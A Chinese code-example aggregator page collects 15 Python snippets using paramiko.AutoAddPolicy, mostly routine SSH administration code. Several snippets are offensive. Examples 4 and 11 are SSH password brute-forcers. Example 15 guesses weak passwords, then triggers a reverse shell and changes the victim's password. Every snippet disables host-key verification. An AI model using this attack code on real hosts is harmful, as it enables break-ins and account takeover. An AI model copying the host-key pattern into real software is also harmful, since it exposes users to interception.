當前位置: 首頁>>代碼示例>>Python>>正文


Python paramiko.AutoAddPolicy方法代碼示例

本文整理匯總了Python中paramiko.AutoAddPolicy方法的典型用法代碼示例。如果您正苦於以下問題:Python paramiko.AutoAddPolicy方法的具體用法?Python paramiko.AutoAddPolicy怎麽用?Python paramiko.AutoAddPolicy使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在paramiko的用法示例。


在下文中一共展示了paramiko.AutoAddPolicy方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: ssh_edit_file

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def ssh_edit_file(adress, user, passw, remotefile, regex, replace):
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        trans = paramiko.Transport((adress, 22))
        trans.connect(username=user, password=passw)
        sftp = paramiko.SFTPClient.from_transport(trans)
        f_in = sftp.file(remotefile, "r")
        c_in = f_in.read()
        pattern = re.compile(regex, re.MULTILINE | re.DOTALL)
        c_out = pattern.sub(replace, c_in)
        f_out = sftp.file(remotefile, "w")
        f_out.write(c_out)
        f_in.close()
        f_out.close()
        sftp.close()
        trans.close() 
開發者ID:dsp-jetpack,項目名稱:JetPack,代碼行數:19,代碼來源:ssh.py

示例2: _ssh_run_remote_command

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def _ssh_run_remote_command(self, cmd):
        ssh_client = paramiko.SSHClient()
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh_client.connect(hostname=self.host,
                           username=self.config['ssh_user'],
                           password=self.config['ssh_password'])
        stdin, stdout, stderr = ssh_client.exec_command(cmd)

        out = stdout.read().decode().strip()
        error = stderr.read().decode().strip()
        if self.log_level:
            logger.info(out)
        if error:
            raise Exception('There was an error pulling the runtime: {}'.format(error))
        ssh_client.close()

        return out 
開發者ID:pywren,項目名稱:pywren-ibm-cloud,代碼行數:19,代碼來源:docker.py

示例3: connect

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def connect(self):
        """Call to set connection with remote client."""

        try:
            self.paramiko_session = paramiko.SSHClient()
            self.paramiko_session.set_missing_host_key_policy(
                paramiko.AutoAddPolicy())

            self.paramiko_session.connect(
                self.client.ip, username=self.client.user,
                password=self.client.pass_, key_filename=self.client.key,
                allow_agent=True, compress=self.client.compress)

        except (paramiko.AuthenticationException,
                paramiko.ssh_exception.NoValidConnectionsError) as e:
            self.logger.error(e)
            sys.exit(colored("> {}".format(e), 'red'))

        except paramiko.SSHException as e:
            self.logger.error(e)
            sys.exit(colored("> {}".format(e), 'red'))

        self.transfer = network.Network(
            self.paramiko_session, self.client.ip, self.client.port)
        self.transfer.open() 
開發者ID:kd8bny,項目名稱:LiMEaide,代碼行數:27,代碼來源:network.py

示例4: run

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('\n')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout)
                print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass 
開發者ID:euphrat1ca,項目名稱:fuzzdb-collect,代碼行數:21,代碼來源:python多線程ssh爆破.py

示例5: sshInstall

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def sshInstall(retry,hostname):
    global user
    global password
    global userInsightfinder
    global licenseKey
    global samplingInterval
    global reportingInterval
    global agentType
    if retry == 0:
        print "Install Fail in", hostname
        q.task_done()
        return
    print "Start installing agent in", hostname, "..."
    try:
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if os.path.isfile(password) == True:
            s.connect(hostname, username=user, key_filename = password, timeout=60)
        else:
            s.connect(hostname, username=user, password = password, timeout=60)
        transport = s.get_transport()
        session = transport.open_session()
        session.set_combine_stderr(True)
        session.get_pty()
        session.exec_command("sudo rm -rf insightagent* InsightAgent* \n \
        wget --no-check-certificate https://github.com/insightfinder/InsightAgent/archive/master.tar.gz -O insightagent.tar.gz && \
        tar xzvf insightagent.tar.gz && \
        cd InsightAgent-master && deployment/checkpackages.sh -env\n")
        stdin = session.makefile('wb', -1)
        stdout = session.makefile('rb', -1)
        stdin.write(password+'\n')
        stdin.flush()
        session.recv_exit_status() #wait for exec_command to finish
        s.close()
        print "Install Succeed in", hostname
        q.task_done()
        return
    except paramiko.SSHException, e:
        print "Invalid Username/Password for %s:"%hostname , e
        return sshInstall(retry-1,hostname) 
開發者ID:insightfinder,項目名稱:InsightAgent,代碼行數:42,代碼來源:installInsightAgent.py

示例6: sshStopCron

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def sshStopCron(retry,hostname):
    global user
    global password
    if retry == 0:
        print "Stop Cron Failed in", hostname
        q.task_done()
        return
    try:
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if os.path.isfile(password) == True:
            s.connect(hostname, username=user, key_filename = password, timeout=60)
        else:
            s.connect(hostname, username=user, password = password, timeout=60)
        transport = s.get_transport()
        session = transport.open_session()
        session.set_combine_stderr(True)
        session.get_pty()
        command = "sudo mv /etc/cron.d/ifagent InsightAgent-master/ifagent."+time.strftime("%Y%m%d%H%M%S")+"\n"
        session.exec_command(command)
        stdin = session.makefile('wb', -1)
        stdout = session.makefile('rb', -1)
        stdin.write(password+'\n')
        stdin.flush()
        session.recv_exit_status() #wait for exec_command to finish
        s.close()
        print "Stopped Cron in ", hostname
        q.task_done()
        return
    except paramiko.SSHException, e:
        print "Invalid Username/Password for %s:"%hostname , e
        return sshStopCron(retry-1,hostname) 
開發者ID:insightfinder,項目名稱:InsightAgent,代碼行數:34,代碼來源:stopcron.py

示例7: sshStopCron

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def sshStopCron(retry,hostname):
    global user
    global password
    if retry == 0:
        print "Stop Cron Failed in", hostname
        q.task_done()
        return
    try:
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if os.path.isfile(password) == True:
            s.connect(hostname, username=user, key_filename = password, timeout=60)
        else:
            s.connect(hostname, username=user, password = password, timeout=60)
        transport = s.get_transport()
        session = transport.open_session()
        session.set_combine_stderr(True)
        session.get_pty()
        command = "./InsightAgent-master/hypervisor/stopcron.sh -t hypervisor\n"
        session.exec_command(command)
        stdin = session.makefile('wb', -1)
        stdout = session.makefile('rb', -1)
        stdin.write(password+'\n')
        stdin.flush()
        session.recv_exit_status() #wait for exec_command to finish
        s.close()
        print "Stopped Cron in ", hostname
        q.task_done()
        return
    except paramiko.SSHException, e:
        print "Invalid Username/Password for %s:"%hostname , e
        return sshStopCron(retry-1,hostname) 
開發者ID:insightfinder,項目名稱:InsightAgent,代碼行數:34,代碼來源:stopcron.py

示例8: execute_command_readlines

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def execute_command_readlines(address, usr, pwd, command):
        try:
            logger.debug("ssh " + usr + "@" + address + ", running : " +
                         command)
            client = paramiko.SSHClient()
            client.load_system_host_keys()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            client.connect(address, username=usr, password=pwd)
            _, ss_stdout, ss_stderr = client.exec_command(command)
            r_out, r_err = ss_stdout.readlines(), ss_stderr.read()
            logger.debug(r_err)
            if len(r_err) > 5:
                logger.error(r_err)
            else:
                logger.debug(r_out)
            client.close()
        except IOError:
            logger.warning(".. host " + address + " is not up")
            return "host not up", "host not up"

        return r_out, r_err 
開發者ID:dsp-jetpack,項目名稱:JetPack,代碼行數:24,代碼來源:ssh.py

示例9: establish_connection

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def establish_connection(ip, username='', password=''):
    '''
    Use Paramiko to establish an SSH channel to the device

    Must return both return_conn_pre and return_conn so that the SSH
    connection is not garbage collected

    '''

    remote_conn_pre = paramiko.SSHClient()
    remote_conn_pre.set_missing_host_key_policy(
        paramiko.AutoAddPolicy())

    remote_conn_pre.connect(ip, username=username, password=password,
                            look_for_keys=False, allow_agent=False)

    remote_conn = remote_conn_pre.invoke_shell()

    # Clear banner and prompt
    output = remote_conn.recv(65535)

    return (remote_conn_pre, remote_conn, output) 
開發者ID:ktbyers,項目名稱:pynet,代碼行數:24,代碼來源:ssh_connection.py

示例10: _connect

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def _connect(self) -> Tuple[paramiko.sftp_client.SFTPClient, paramiko.SSHClient]:
        """
        Connect via paramiko, and open a SSH session as well as a SFTP session.

        Returns:
            Tuple[paramiko.sftp_client.SFTPClient, paramiko.SSHClient]:
                - An SFTP client used to perform remote file operations. 
                - A high-level representation of a session with an SSH server.
        """
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.load_system_host_keys(filename=self.key)
        try:
            # If the server accepts the connection but the SSH daemon doesn't respond in 
            # 15 seconds (default in paramiko) due to network congestion, faulty switches, 
            # etc..., common solution is to enlarging the timeout variable.
            ssh.connect(hostname=self.address, username=self.un, banner_timeout=200)
        except:
            # This sometimes gives "SSHException: Error reading SSH protocol banner[Error 104] Connection reset by peer"
            # Try again:
            ssh.connect(hostname=self.address, username=self.un, banner_timeout=200)
        sftp = ssh.open_sftp()
        return sftp, ssh 
開發者ID:ReactionMechanismGenerator,項目名稱:ARC,代碼行數:25,代碼來源:ssh.py

示例11: sshlogin

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def sshlogin(self, ip, port, user, keyfile, timeout):
        try:
            ssh = paramiko.SSHClient()
            paramiko.util.log_to_file("/dev/null")
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        except:
            pass
        else:
            brute = "LOG-SSH: " + ip + ":" + str(port) + " - " + user + ":" + keyfile + ":" + str(timeout)
            self.logger.log_file(brute)

            try:
                ssh.connect(ip, port, username=user, password=None, pkey=None, key_filename=keyfile, timeout=timeout,
                            allow_agent=False, look_for_keys=False)
                result = bcolors.OKGREEN + "SSH-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
                    port) + " - " + user + ":" + keyfile + bcolors.ENDC
                self.logger.output_file(result)
                Main.is_success = 1
            except:
                pass 
開發者ID:galkan,項目名稱:crowbar,代碼行數:22,代碼來源:main.py

示例12: taillog

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def taillog(request, hostname, port, username, password, private, tail):
    """
    執行 tail log 接口
    """
    channel_layer = get_channel_layer()
    user = request.user.username
    os.environ["".format(user)] = "true"
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if password:
        ssh.connect(hostname=hostname, port=port, username=username, password=decrypt_p(password))
    else:
        pkey = paramiko.RSAKey.from_private_key_file("{0}".format(private))
        ssh.connect(hostname=hostname, port=port, username=username, pkey=pkey)
    cmd = "tail " + tail
    stdin, stdout, stderr = ssh.exec_command(cmd, get_pty=True)
    for line in iter(stdout.readline, ""):
        if os.environ.get("".format(user)) == 'false':
            break
        result = {"status": 0, 'data': line}
        result_all = json.dumps(result)
        async_to_sync(channel_layer.group_send)(user, {"type": "user.message", 'text': result_all}) 
開發者ID:hequan2017,項目名稱:chain,代碼行數:24,代碼來源:views.py

示例13: connect

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def connect(hostname, port=22, username=None, password=None, pkey=None, timeout=None):
    import paramiko

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    if pkey:
        ssh_key = paramiko.RSAKey.from_private_key(file_obj=io.StringIO(pkey))
    else:
        ssh_key = None

    timeout = timeout or 20
    logging.debug("Connecting to %s@%s:%d, timeout=%d", username, hostname, port, timeout)
    try:
        client.connect(hostname, port=port, username=username, password=password, pkey=ssh_key, timeout=timeout)
    except socket.timeout:
        raise AztkError("Connection timed out to: {}".format(hostname))

    return client 
開發者ID:Azure,項目名稱:aztk,代碼行數:21,代碼來源:ssh.py

示例14: main

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def main():
    target_ip = etss_range(ip)
    print target_ip
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for i in target_ip:
        try:
            ssh.connect(i, username=user, password=passwd)
            print "SSH connection established to %s" % (i)
            remote = ssh.invoke_shell()
            print "Interactive SSH session established"
            output = remote.recv(1000)
            print output
            #Disable pausing between screens of output
            screen_disable(remote)
            #Send commands to network device
            remote.send('\n')
            remote.send(cmd)
            time.sleep(2)
            output = remote.recv(5000)
            print output
        except:
            ssh.close()
            print "Problem connecting with ip: %s" % (i)
            continue 
開發者ID:networkingdvi,項目名稱:HPN-Scripting,代碼行數:27,代碼來源:etss_ssh_in.py

示例15: weak_pass

# 需要導入模塊: import paramiko [as 別名]
# 或者: from paramiko import AutoAddPolicy [as 別名]
def weak_pass(password, ip, port=22, timeout=5):
    for name in username_list:
        try:
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(ip, port, str(name), str(password), timeout=timeout)
            found_password.append((ip, password))
            logger.warning('[True ] %s %s:%s' % (ip, name, password))
            append_2_file('[True ] %s %s:%s' % (ip, name, password))
            try:
                reverse_shell_cmd(client)
                alter_password_cmd(client, password)
                logger.warning('修改密碼成功 %s %s:%s' % (ip, name, new_password))
                append_2_file('修改密碼成功 %s %s:%s' % (ip, name, new_password))
                new_password_success.append((ip, new_password))
            except Exception as ex:
                logger.info(ex)
                logger.warning('修改密碼失敗 %s %s' % (ip, name))
            return True
        except Exception as e:
            logger.info(e)
            logger.debug('[False] %s %s:%s' % (ip, name, new_password))

    return False 
開發者ID:restran,項目名稱:hacker-scripts,代碼行數:26,代碼來源:ssh_with_cmd.py


注:本文中的paramiko.AutoAddPolicy方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。